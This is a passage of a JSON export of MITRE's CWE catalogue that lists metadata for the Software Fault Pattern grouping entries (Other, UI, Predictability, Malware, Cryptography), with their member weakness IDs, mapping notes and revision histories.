"2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, References"}]}, "entry_type": "Weakness", "ranking": 780.0}, {"@ID": "907", "@Name": "SFP Primary Cluster: Other", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Other cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "975", "@View_ID": "888"}, {"@CWE_ID": "976", "@View_ID": "888"}, {"@CWE_ID": "977", "@View_ID": "888"}, {"@CWE_ID": "978", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Other"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "906", "@Name": "SFP Primary Cluster: UI", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the UI cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "995", "@View_ID": "888"}, {"@CWE_ID": "996", "@View_ID": "888"}, {"@CWE_ID": "997", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: UI"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "905", "@Name": "SFP Primary Cluster: Predictability", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "330", "@View_ID": "888"}, {"@CWE_ID": "331", "@View_ID": "888"}, {"@CWE_ID": "332", "@View_ID": "888"}, {"@CWE_ID": "333", "@View_ID": "888"}, {"@CWE_ID": "334", "@View_ID": "888"}, {"@CWE_ID": "335", "@View_ID": "888"}, {"@CWE_ID": "336", "@View_ID": "888"}, {"@CWE_ID": "337", "@View_ID": "888"}, {"@CWE_ID": "338", "@View_ID": "888"}, {"@CWE_ID": "339", "@View_ID": "888"}, {"@CWE_ID": "340", "@View_ID": "888"}, {"@CWE_ID": "341", "@View_ID": "888"}, {"@CWE_ID": "342", "@View_ID": "888"}, {"@CWE_ID": "343", "@View_ID": "888"}, {"@CWE_ID": "344", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Predictability"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "904", "@Name": "SFP Primary Cluster: Malware", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Malware cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "506", "@View_ID": "888"}, {"@CWE_ID": "507", "@View_ID": "888"}, {"@CWE_ID": "508", "@View_ID": "888"}, {"@CWE_ID": "509", "@View_ID": "888"}, {"@CWE_ID": "510", "@View_ID": "888"}, {"@CWE_ID": "511", "@View_ID": "888"}, {"@CWE_ID": "512", "@View_ID": "888"}, {"@CWE_ID": "69", "@View_ID": "888"}, {"@CWE_ID": "968", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Malware"}}, "entry_type": "Grouping", "ranking": null}, {"@ID": "903", "@Name": "SFP Primary Cluster: Cryptography", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Cryptography cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "958", "@View_ID": "888"}, {"@CWE_ID": "959", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-03-22", "Submission_Version": "2.2", "Submission_ReleaseDate": "2012-05-14"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}], "Previous_Entry_Name": {"@Date": "2014-07-31", "#text": "SFP Cluster: Cryptography"}}, "entry_type": "Grouping", "ranking": null}], "metadata": {"count": 1477, "page": 1, "per_page": 100}}
